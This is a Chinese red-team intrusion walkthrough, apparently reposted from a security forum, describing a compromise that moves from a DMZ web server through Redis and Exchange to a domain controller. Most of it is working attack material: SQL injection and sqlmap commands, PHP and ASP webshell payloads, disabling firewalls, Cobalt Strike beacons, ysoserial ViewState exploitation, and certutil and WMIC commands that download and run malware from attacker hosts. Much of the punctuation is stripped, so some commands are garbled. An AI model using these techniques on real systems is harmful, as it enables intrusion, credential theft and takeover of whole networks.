常州建设局职称网站,网站申请微信支付接口,网站建设前期策划,外贸网站服务商他日若遂凌云志#xff0c;敢笑黄巢不丈夫
本文首发于先知社区#xff0c;原创作者即是本人
前言
在红队攻防中#xff0c;需要我们拥有综合能力#xff0c;不仅仅是web渗透的漏洞挖掘与利用#xff0c;边界突破的方式有很多种#xff0c;当然这需要我们拥有很强的意识…他日若遂凌云志敢笑黄巢不丈夫
本文首发于先知社区原创作者即是本人
前言
在红队攻防中需要我们拥有综合能力不仅仅是web渗透的漏洞挖掘与利用边界突破的方式有很多种当然这需要我们拥有很强的意识包括从web网站撕破口子需要对各种漏洞的原理与利用了然于心或者是通过社工钓鱼等方式还需要我们拥有很强的代码功底从代码的层面去分析问题或者去写相关脚本进行利用需要我们具有与杀软对抗的能力需要我们熟悉web渗透内网渗透红队攻防的流程进入内网之后快速分析网络环境以及自己所处的位置找到拿到目标的最佳方法。
第一层 DMZ区
访问目标站点 端口扫描 nmap -sT xxx.xxx.xxx.xxx 目录扫描 把它的备份文件下载到了本地解压源码进行代码审计
代码审计拿密码
搜索请求类型GET、POST、COOKIE、REQUST、SESSION 尽可能的找到一些关键点比如下面的“MYSQLBAKPASSWORD” 全局搜索这个关键点 d94354ac9cf3024f57409bd74eec6b4c使用MD5解密为adminadminadmin 搜索关键点密码 找到一个请求方法 “?actionmysqldatabak_downpwd您设置的数据库备份密码” 全局搜索这个方法名“mysqldatabak_down” 找到一个数据库备份下载的页面尝试去访问 http://xxx.xxx.xxx/kss_admin/admin_data.php 却提示未知的方法请求上面的说到找到了密码和一个请求方法可以直接利用 http://xxx.xxx.xxx/kss_admin/admin_data.php?actionmysqldatabak_downpwdadminadminadmin 访问后直接下载数据库备份文件这时候就可以尝试找管理员账号密码进行登录。 检查配置文件是否存留本地 得到数据库备份文件后就自行导入数据库 启动phpstudy打开MySQL_Front工具 新建数据库输入SQL文件 注意字符集是UTF-8 找到管理员账号密码进行登录这里可以找到解密后的密码 SQL注入拿密码
hackbar构造payload
http://xxx.xxx.xxx/kss_inc/payapi_return2.php
v_oid or 11 #v_pstatus20v_amount1v_moneytype1remark11v_md5str121212v_oid存在布尔盲注为真的时候返回订单金额不符 为假的时候返回订单未找到 请求包如下
POST /kss_inc/payapi_return2.php HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 71
Cache-Control: max-age0
Origin: http://xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: xxx.xxx.xxx
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9
Referer: http://xxx.xxx.xxx/kss_inc/payapi_return2.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Cookie: xxx.xxx.xxx
Connection: closev_oid*v_pstatus20v_amount1v_moneytype1remark11v_md5str121212保存成sql.txt
python3 sqlmap.py -r sql.txt --dbms mysql -v 1 -p v_oid --dump -C username,password -D xxx -T kss_tb_manager --batch成功注入出账号和密码
代码审计拿shell
数据库备份邮箱拿shell
发现密码是存留在配置文件里的那就反回去看配置文件是否可以利用 攻击地址 http://xxx.xxx.xxx/ 输入账号密码登录后发现系统设置页面是/kss_inc/_config.php文件里的内容是可以直接写入webshell 如);eval($_POST[a]);( 连接地址
http://xxx.xxx.xxx/kss_inc/_config.php
http://xxx.xxx.xxx/kss_admin/index.php密码a 木马写入在 后台shell
构造payload
http://x.x.x/kss_admin/admin_update.php?pakname../test/kss_admin/index.php?action?php%2520eval($_POST[aye]);echo%2520aye666?漏洞利用 连接地址 http://x.x.x/kss_tool/_webup.php 密码aye 提权宝塔系统Bypass Disable Function
禁用函数 passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec 既然“宝塔”禁用这么多函数权限却是“system”那就找找宝塔的配置文件、后台路径。 后台路径C:/BtSoft/panel/panel/data/admin_path.pl http://xxx.xxx.xxx:8888/e1VOsmtO/ 密码C:/BtSoft/panel/data/default.pl(初始默认密码) jSKyFFdj 宝塔的登录端口C:/BtSoft/panel/data/port.pl 8888 登录账号C:/BtSoft/panel/panel/data/default.db(账号和加密的密码) 然后通过把宝塔的 default.db 文件下载到本地打开users 表里就是宝塔的登陆账号密码 成功登录
成功登录 进入后台后可以考虑计划任务命令执行或者直接点解封一个命令执行函数 成功执行命令 查看进程tasklist 存在火绒 cs拿shell
打开CS这是个服务器与客户端多对多架构的工具先开服务端 ./teamserver x.x.x admin 在Listeners面板中点击Add按钮新建一个监听器如图 生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令如图 保持默认配置选择已经创建的监听器设置输出类型为powershell注意勾选x64然后点击Generate按钮 如图 这里把ps1传到个人服务器做远程加载演示服务器一定要能被访问到上传后可访问,下一步即执行powershell命令可powershell行为特征也被火绒记录在册可通过对部分命令进行修改绕过火绒该防护免杀部分会单独分享此处只提供作为红队攻击成员如何实战。 成功绕过火绒的防护cs成功上线 注入进程 进行信息收集
抓取到hash 通过解密得到了 administrator 的密码 查看防火墙需要administrator权限 shell netsh firewall show state 可以看到防火墙是开启的
!
关闭防火墙 shell netsh advfirewall set allprofiles state off 打开3389端口 绕过火绒添加用户 蚂蚁剑或者cs上传添加用户的exe文件并运行 远程登陆 第二层 办公区
Earthworm穿透
上传EWEarthworm到C:/wwwroot/ 服务器端执行以下命令(关掉目标站的防火墙代理才能生效) execute C:\wwwroot\ew.exe -s ssocksd -l 1090 这里还需要修改proxychains.conf配置文件 $ vim /etc/proxychains.conf socks5 x.x.x 1090 探测内网网段存活主机 proxychains nmap -sT -Pn -p 80 x.x.x.0/24 192.168.59.4是存活的我们着重看一下,发现开了80和6379
Redis-getshell
kali环境进行爆破 proxychains hydra -P /usr/share/john/password.lst 192.168.59.4 redis 6379 连接redis cd /redis-stable proxychains src/redis-cli -h 192.168.59.4 -a xxxx 备份文件写Shell
192.168.59.4:6379config set dir C:\\inetpub\\wwwroot 进入默认目录
192.168.59.4:6379config set dbfilename redis.asp 创建文件
192.168.59.4:6379set x %eval request(\chopper\)% 写入webshell
192.168.59.4:6379save 最后保存利用过程 代理蚁剑进行连接这个shell 连接地址 http://192.168.59.4/redis.asp 密码 chopper 成功连接到server-redis 并查看权限 利用蚁剑把SweetPotato.exe甜土豆上传到C:/Redis/或者C:/ProgramData/目录下 成功进行提权 cs拿到shell
然后设置中转监听这个监听IP要内网可以通信的内网IP然后生成木马 对生成的exe文件进行免杀 先把木马通过蚂蚁剑上传到宝塔(需要进行免杀)火绒未告警 通过redis的shell进行操作192.168.59.4远程下载192.168.59.133上的马
C:\ProgramData\xx.exe -i -c certutil -urlcache -split -f http://192.168.59.133/beacon.exe beacon.exe再通过提权工具进行执行
C:\ProgramData\xx.exe -i -c beacon.exe此时查看cs已成功上线 同样注入进程
进行信息收集
shell ipconfig logonpasswords 查看防火墙需要administrator权限 shell netsh firewall show state 可以看到防火墙是开启的 关闭防火墙 shell netsh advfirewall set allprofiles state off 打开3389端口 挂代理通过之前上传的EWEarthworm到C:/wwwroot/ Proxifier配置 可以通过redis的shell进行操作添加用户也可以使用cs添加用户
远程登陆 第三层 核心区
通过蚂蚁剑将nbtscan.exe上传到第二层的Redis可读写目录下 探测内网段存活 nbtscan.exe 10.10.10.0/24 代理出网拿下邮服
此时绘制出整个目标网络拓扑图如下 将ew上传到bt和redis 首先在VPS上开启如下监听将1080端口监听的流量都转发到本地的888端口关掉防火墙要能够相互访问 ew.exe -s lcx_listen -l 1080 -e 888 然后在服务器B上执行如下命令监听本地的999端口 execute C:\ew.exe -s ssocksd -l 999 最后在服务器A上执行如下命令将VPS的888端口和服务器B的999端口连接起来 execute C:\ew.exe -s lcx_slave -d x.x.x.x -e 888 -f 192.168.59.4 -g 999 以上命令都执行完之后设置socks5代理为VPS的1080端口 即可成功访问目标的exchange服务。 https://10.10.10.209/owa/auth/logon.aspx?replaceCurrent1urlhttps%3a%2f%2f10.10.10.209%2fowa%2f%23authRedirect%3dtrue 对ex13进行攻击
nmap -sT 10.10.10.209 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389蚂蚁剑可通过更改代理进行连接 在 Redis 上的“C:\Users\Administrator\Documents\Outlook文件\”找到对应文件以及关键邮箱找到了 pts 文件 下载到本地通过将两个pst导入outlook可以看到exchange的一个账号密码 登陆成功访问https://10.10.10.209/ecp/default.aspx 获取viewstateuserkey __VIEWSTATEGENERATORB97B4E27 cs拿到shell
然后设置中转监听这个监听IP要内网可以通信的内网IP然后生成木马 将木马通过cs上传到redis服务器的redis目录下 使用exp执行payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c cmd.exe /ccertutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe ex13.exe --validationalgSHA1 --validationkeyCB2721xx89A25303BF --generatorB97xxE27 --viewstateuserkey80xxxce6f --isdebug –islegacy生成的payload进行url编码 拼接成攻击的链接反弹shell得到Exchange服务器的System权限的会话
https://10.10.10.209/ecp/default.aspx?__VIEWSTATEGENERATORxxx__VIEWSTATExxx此时页面会返回500错误 查看cs已上线 同样迁移进程 或者下载后门文件到exchange
第三层 域控
拿下域控
读取到本地有dc账号记录那就可以直接用wmic横向操作一波 Mimikatz抓取到dc的账号密码 在server-ex机器上使用自带的WMIC.exe执行命令
shell C:\Windows\System32\wbem\WMIC.exe /node:10.10.10.201 /user:Administrator /password:xxx process call create cmd /c certutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe ex13.exe成功上线cs 同样迁移进程 同样添加用户 同样挂代理
远程登陆 总结
在红队攻防实战中作为一名红队攻击成员要做到从外网进行边界突破进入内网绕过层层杀软与防护分析面临的情况与问题最终拿下目标。
文笔生疏措辞浅薄望各位大佬不吝赐教万分感谢。
免责声明由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失均由使用者本人负责 文章作者不为此承担任何责任。
转载声明各家兴 拥有对此文章的修改和解释权如欲转载或传播此文章必须保证此文章的完整性包括版权声明等全部内容。未经作者允许不得任意修改或者增减此文章的内容不得以任何方式将其用于商业目的。
CSDN:
https://blog.csdn.net/weixin_48899364?typeblog公众号
https://mp.weixin.qq.com/mp/appmsgalbum?__bizMzg5NTU2NjA1Mwactiongetalbumalbum_id1696286248027357190scene173from_msgid2247485408from_itemidx1count3nolastread1#wechat_redirect博客:
https://rdyx0.github.io/先知社区
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85https://www.freebuf.com/author/国服最强渗透掌控者)